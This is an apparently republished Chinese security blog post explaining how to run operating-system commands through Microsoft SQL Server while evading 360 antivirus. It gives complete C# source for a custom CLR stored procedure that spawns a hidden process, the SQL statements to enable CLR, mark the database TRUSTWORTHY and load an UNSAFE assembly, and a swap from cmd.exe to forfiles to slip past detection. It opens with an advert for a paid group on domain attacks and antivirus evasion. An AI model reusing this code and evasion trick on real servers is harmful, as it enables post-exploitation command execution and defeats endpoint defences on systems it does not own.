欢迎加入我的知识星球:目前正在更新域和免杀相关的文章，大部分会在群内交流或直接私聊我即可，等域相关的文章做的差不多了我会更新免杀的东西，每个月一次技术交流探讨，时间会在群公告，让我们卷起来吧。99的价格你买的到的不仅仅是星球内的资源，更是群内的氛围，群内杜绝划水，杜绝聊和技术无关的事情。
网上有很多的利用方式似乎调的都是cmd.exe。
这里的绕过其实就是自定义CLR。
我们现来使用网上公开的一些方式，首先我们需要在VS这里选择安装多个工具。
把数据库存储和处理勾选上然后安装即可。
安装之后创建一个新的项目，选择sqlserver数据库项目。
创建成功之后，右键属性这里勾选创建脚本sql文件，目标平台更改为SQL Server 2012 因为我安装的就是2012,这里根据自己安装的版本选择即可。
然后切换到SQLCLR这里。
目标框架设置为.net3.5以及权限级别为UNSAFE。
保存之后，我们右键项目->添加->存储过程。
创建一个存储过程。
然后将网上的代码复制过来。
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using System.Diagnostics;using System.Text;using Microsoft.SqlServer.Server;public partial class StoredProcedures{[]public static void ExecCommand (string cmd){// 在此处放置代码SqlContext.Pipe.Send("Command is running, please wait.");SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));}public static string RunCommand(string filename,string arguments){var process = new Process();process.StartInfo.FileName = filename;if (!string.IsNullOrEmpty(arguments)){process.StartInfo.Arguments = arguments;}process.StartInfo.CreateNoWindow = true;process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;process.StartInfo.UseShellExecute = false;process.StartInfo.RedirectStandardError = true;process.StartInfo.RedirectStandardOutput = true;var stdOutput = new StringBuilder();process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);string stdError = null;try{process.Start();process.BeginOutputReadLine();stdError = process.StandardError.ReadToEnd();process.WaitForExit();}catch (Exception e){SqlContext.Pipe.Send(e.Message);}if (process.ExitCode == 0){SqlContext.Pipe.Send(stdOutput.ToString());}else{var message = new StringBuilder();if (!string.IsNullOrEmpty(stdError)){message.AppendLine(stdError);}if (stdOutput.Length != 0){message.AppendLine("Std output:");message.AppendLine(stdOutput.ToString());}SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);}return stdOutput.ToString();}}
右键重新生成之后他会给你生成一个.sql文件。
我们找到这个sql文件，里面有创建程序集的sql语句。
我们将其复制出来，然后我们去执行，这里我们直接使用mssqlclient去连接即可。
启用MSSQL CLR功能
MSSQL CLR功能默认关闭，利用以下语句启用。
sp_configure 'clr enabled', 1RECONFIGURE
为了导入了不安全的程序集，我们还需要执行以下语句将数据库标记为安全。
ALTER DATABASE master SET TRUSTWORTHY ON;利用SQL语句导入程序集
如下就是我们刚才生成的。
CREATE ASSEMBLY [clr_pp] AUTHORIZATION [dbo] FROM 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WITH PERMISSION_SET = UNSAFE;创建程序集之后创建存储过程。
这里的clr_pp就是我们上一步创建的程序集，然后他去找程序集中的StoredProcedures类的ExecCommand方法。
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [clr_pp].[StoredProcedures].[ExecCommand]创建成功之后。
我们就可以来执行命令了。
exec dbo.ExecCommand "whoami";我们会发现卡在这里了，无法执行命令。
我们回到虚拟机这里发现360给拦截了。
如上图可以看到发现可利用的程序是cmd.exe，那么我们在想能不能不通过cmd去执行命令。
当然可以，我们可以通过forfiles进行执行。
比如说我们想执行whoami:
forfiles /c whoami可以看到成功执行。
但是执行的太多了，我们只想让他执行一次，那么加上 /p 和 /m参数即可。
forfiles /c whoami /p c:windowssystem32 /m calc.exe
如上图可以看到现在就只执行了一次。
所以我们可以利用这种方式来执行命令。
现在让我们将上面代码中的cmd.exe更换为forfiles即可。
我们现在重新生成，还是重复上面的步骤，尝试去执行命令。
如上图可以看到是可以正常执行的。
期待和您的下次相遇！！！
原文始发于微信公众号（Relay学安全）：MSSQL绕过360执行命令的小技巧
